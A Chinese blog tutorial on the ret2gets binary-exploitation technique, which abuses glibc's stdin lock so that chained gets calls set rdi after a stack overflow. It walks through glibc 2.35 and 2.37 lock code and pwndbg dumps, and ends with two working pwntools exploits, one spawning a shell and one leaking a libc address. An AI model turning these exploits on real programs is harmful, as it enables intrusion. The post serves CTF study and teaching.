Featured image of post ret2gets

ret2gets

https://blog.csdn.net/2502_91269216/article/details/148261096

https://zhuanlan.zhihu.com/p/1923686723877073710

介绍

ret2gets是一种通过连续调用gets来控制rdi的手法,当程序存在gets造成的栈溢出时可以使用,尤其在缺少pop rdi的时候

这里一个小demo讲解

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#include<stdio.h>
void win()
{
    system('666');
}
int main()
{
    char buf[0x20];
    puts("ret2gets");
    gets(buf);
    return 0;
}

我们执行gets之前

1
2
3
4
5
 ► 0x40117d <main+39>    call   gets@plt                      <gets@plt>
        rdi: 0x7fff71460a20 —▸ 0x7fff71460dc9 ◂— 0x34365f363878 /* 'x86_64' */
        rsi: 0x1
        rdx: 0x1
        rcx: 0x74453af14907 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */

rdi是一个栈地址,也是gets的参数

单步执行后查看即将退出gets时的寄存器情况

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
 RAX  0x7ffdcee7bd40 ◂— 0x7ffd00313131 /* '111' */
*RBX  0x0
 RCX  0x704680c1aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088
*RDX  0x1
*RDI  0x704680c1ca80 (_IO_stdfile_0_lock) ◂— 0x0#这里
*RSI  0x1
 R8   0x0
 R9   0x0
 R10  0x77
 R11  0x246
*R12  0x7ffdcee7be78 —▸ 0x7ffdcee7c0f9 ◂— 0x53006f6d65642f2e /* './demo' */
*R13  0x401156 (main) ◂— endbr64 
 R14  0x4030f8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64 
 R15  0x704680e30040 (_rtld_global) —▸ 0x704680e312e0 ◂— 0x0
*RBP  0x7ffdcee7bd60 ◂— 0x1
*RSP  0x7ffdcee7bd40 ◂— 0x7ffd00313131 /* '111' */
*RIP  0x401182 (main+44) ◂— mov eax, 0

发现rdi的值变为_IO_stdfile_0_lock

关于_IO_stdfile_0_lock,其实就是一个用来保证线程安全的锁,防止多线程下多个线程同时访问同一FILE

gets函数执行之后rdi所指向的其实就是FILE结构体的的_IO_lock_t *_lock;也就是锁

1
2
3
4
5
typedef struct {
    int lock;
    int cnt;
    void *owner;
} _IO_lock_t;

该结构题里的owner储存的是TLS的地址(每个持有锁的线程的私有空间的起始地址),该地址与libc偏移固定。

由于rdi指向这个_IO_stdfile_0_lock,所以ret2gets的基本思想就是在调用gets之后再次调用gets,修改_IO_stdfile_0_lock的内容从而控制rdi

源码分析

glibc2.35 gets源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
char *
_IO_gets (char *buf)
{
size_t count;
int ch;
char *retval;

  _IO_acquire_lock (stdin);     // 对标准输入流stdin加锁,防止多线程环境下多个线程同时操作输入流导致数据竞争
  ch = _IO_getc_unlocked (stdin);  // 通过_IO_getc_unlocked无锁方式读取第一个字符
// 若首字符是EOF(文件结束符或输入错误),直接返回NULL
// 若首字符是换行符\n,则count=0,表示空字符串
if (ch == EOF)
    {
      retval = NULL;
goto unlock_return;
    }
if (ch == '\n')
    count = 0;

else
    {
/* This is very tricky since a file descriptor may be in the
     non-blocking mode. The error flag doesn't mean much in this
     case. We return an error only when there is a new error. */
int old_error = stdin->_flags & _IO_ERR_SEEN;
      stdin->_flags &= ~_IO_ERR_SEEN;
      buf[0] = (char) ch;
      count = _IO_getline (stdin, buf + 1, INT_MAX, '\n', 0) + 1;
if (stdin->_flags & _IO_ERR_SEEN)
    {
      retval = NULL;
goto unlock_return;
    }
else
    stdin->_flags |= old_error;
    }
  buf[count] = 0;
  retval = buf;
unlock_return:
  _IO_release_lock (stdin);
return retval;
}

开头结尾分别调用了_IO_acquire_lock/_IO_release_lock来获取/释放 对stdin的锁

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#  define _IO_acquire_lock(_fp) \
do {									      \
    FILE *_IO_acquire_lock_file						      \
    __attribute__((cleanup (_IO_acquire_lock_fct)))			      \
    = (_fp);							      \
    _IO_flockfile (_IO_acquire_lock_file);
# else
#  ...
# endif
# define _IO_release_lock(_fp) ; } while (0)

_IO_acquire_lock中调用了_IO_acquire_lock_fct和_IO_flockfile,

1
2
 __attribute__((cleanup (_IO_acquire_lock_fct)))			      \
    = (_fp);

这句话的意思就是在fp上调用_IO_acquire_lock_fct

1
2
3
4
5
6
7
8
staticinline void
__attribute__ ((__always_inline__))
_IO_acquire_lock_fct (FILE **p)
{
  FILE *fp = *p;
if ((fp->_flags & _IO_USER_LOCK) == 0)
    _IO_funlockfile (fp);
}

用于锁定和解锁的 2 个宏是_IO_flockfile和_IO_funlockfile。

1
2
3
4
# define _IO_flockfile(_fp) \
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)
# define _IO_funlockfile(_fp) \
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_unlock (*(_fp)->_lock)

_IO_lock_lock和_IO_lock_unlock源码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#define _IO_lock_lock(_name) \
do {									      \
void *__self = THREAD_SELF;						      \
if ((_name).owner != __self)					      \
      {									      \
    lll_lock ((_name).lock, LLL_PRIVATE);				      \
        (_name).owner = __self;						      \
      }									      \
    ++(_name).cnt;							      \
  } while (0)


#define _IO_lock_unlock(_name) \
do {									      \
if (--(_name).cnt == 0)						      \
      {									      \
        (_name).owner = NULL;						      \
    lll_unlock ((_name).lock, LLL_PRIVATE);				      \
      }									      \
  } while (0)

这里_name就是_IO_lock_t *lock,在gets下就是IO_stdfile_0_lock

1注意到_IO_lock_unlock里有一个–(_name).cnt == 0,如果条件成立就将owner设为NULL,我们通常会利用owner泄露libc地址,所以这不是我们想看到的

2如果利用puts泄露地址,owner之前不能出现\x00

3 同1,由于–cnt,所以我们输入的第五字节(cnt)会被-1

利用方法

2.30-2.36

如果我们想利用puts泄露地址那么用以下payload

1
2
3
p.sendline(b"A" * 4 + b"\x00"*3)
# 这里填充 \x00\x00\x00 开头本来就是\x00
#cnt设为0,--cnt整数溢出变为\xff...

2.37及以上

对_IO_lock_unlock做了修改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#define _IO_lock_lock(_name) \
do {									      \
void *__self = THREAD_SELF;						      \
if (SINGLE_THREAD_P && (_name).owner == NULL)			      \
      {									      \
    (_name).lock = LLL_LOCK_INITIALIZER_LOCKED;			      \
    (_name).owner = __self;						      \
      }									      \
else if ((_name).owner != __self)					      \
      {									      \
    lll_lock ((_name).lock, LLL_PRIVATE);				      \
    (_name).owner = __self;						      \
      }									      \
else								      \
      ++(_name).cnt;							      \
  } while (0)


#define _IO_lock_unlock(_name) \
do {									      \
if (SINGLE_THREAD_P && (_name).cnt == 0)				      \
      {									      \
    (_name).owner = NULL;						      \
    (_name).lock = 0;						      \
      }									      \
else if ((_name).cnt == 0)						      \
      {									      \
    (_name).owner = NULL;						      \
    lll_unlock ((_name).lock, LLL_PRIVATE);				      \
      }									      \
else								      \
      --(_name).cnt;							      \
  } while (0)

cnt!=0时才会–cnt

这时我们通过连续两次调用gets解决

1
2
p.sendline(p32(0) + b"A"*4 + b"B"*8)
p.sendline(b"CCCC")

第一次sendline结果如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
pwndbg> x/32gx 0x7c48ce01ca80
0x7c48ce01ca80 <_IO_stdfile_0_lock>:	0x4141414000000000	0x4242424242424242
0x7c48ce01ca90 <__libc_multiple_threads>:	0x0000000000000000	0x0000000000000000
0x7c48ce01caa0 <__attr_list_lock>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cab0 <init_sigcancel>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cac0 <__nptl_threads_events>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cad0:	0x0000000000000000	0x0000000000000000
0x7c48ce01cae0 <__pthread_keys>:	0x0000000000000000	0x0000000000000000
0x7c48ce01caf0 <__pthread_keys+16>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb00 <__pthread_keys+32>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb10 <__pthread_keys+48>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb20 <__pthread_keys+64>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb30 <__pthread_keys+80>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb40 <__pthread_keys+96>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb50 <__pthread_keys+112>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb60 <__pthread_keys+128>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb70 <__pthread_keys+144>:	0x0000000000000000	0x0000000000000000

第一个A变为了0x40

然后第二次sendline我们发4个CCCC,由于gets会对输入数据末尾补0使其是一个字符串,导致0x40又被覆盖为\x00

最后–cnt后结果如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
pwndbg> x/32gx 0x7c48ce01ca80
0x7c48ce01ca80 <_IO_stdfile_0_lock>:	0x414140ff43434343	0x00007c48ce07f740
0x7c48ce01ca90 <__libc_multiple_threads>:	0x0000000000000000	0x0000000000000000
0x7c48ce01caa0 <__attr_list_lock>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cab0 <init_sigcancel>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cac0 <__nptl_threads_events>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cad0:	0x0000000000000000	0x0000000000000000
0x7c48ce01cae0 <__pthread_keys>:	0x0000000000000000	0x0000000000000000
0x7c48ce01caf0 <__pthread_keys+16>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb00 <__pthread_keys+32>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb10 <__pthread_keys+48>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb20 <__pthread_keys+64>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb30 <__pthread_keys+80>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb40 <__pthread_keys+96>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb50 <__pthread_keys+112>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb60 <__pthread_keys+128>:	0x0000000000000000	0x0000000000000000
0x7c48ce01cb70 <__pthread_keys+144>:	0x0000000000000000	0x0000000000000000

也绕过了检查

如果我们想控制rdi为binsh的话,由于–cnt的机制

我们payload可以如下设置

b’/bin’+p8(u8(b"/")+1)+b’sh'

最后一个要注意的地方,如果在程序结束时rdi!=_IO_stdfile_o_lock的话,我们只需先自己调用一次gets即可

对于最初的demo

直接拿shell exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *
p=process('./pwn')
context.log_level='debug'
context.arch='amd64'
# p = gdb.debug('./demo', gdbscript='b *0x40117D\ncontinue')
elf=ELF('./pwn')
# gdb.attach(p,'b *0x40117D\nc')
p.recvuntil(b'ret2gets\n')
pay=b'a'*0x20+p64(0)+p64(elf.plt['gets'])+p64(elf.plt['system'])
p.sendline(pay)
p.sendline(b'/bin'+p8(u8(b"/")+1)+b'sh')
p.interactive()

泄露libc的话,exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *
p=process('./pwn')
context.log_level='debug'
context.arch='amd64'
# p = gdb.debug('./demo', gdbscript='b *0x40117D\ncontinue')
elf=ELF('./pwn')
# gdb.attach(p,'b *0x40117D\nc')
p.recvuntil(b'ret2gets\n')
pay=b'a'*0x20+p64(0)+p64(elf.plt['gets'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
p.sendline(pay)
p.sendline(b'AAAA'+b'\x00\x00\x00')
p.recvuntil(b'\xff'*4)
libcbase=u64(p.recv(6).ljust(8,b'\x00'))
#没减偏移
print(hex(libcbase))
p.interactive()

res

共生产 19 篇文章,约 39.77k 字使用 Hugo 构建
主题 Stack 由 Jimmy 设计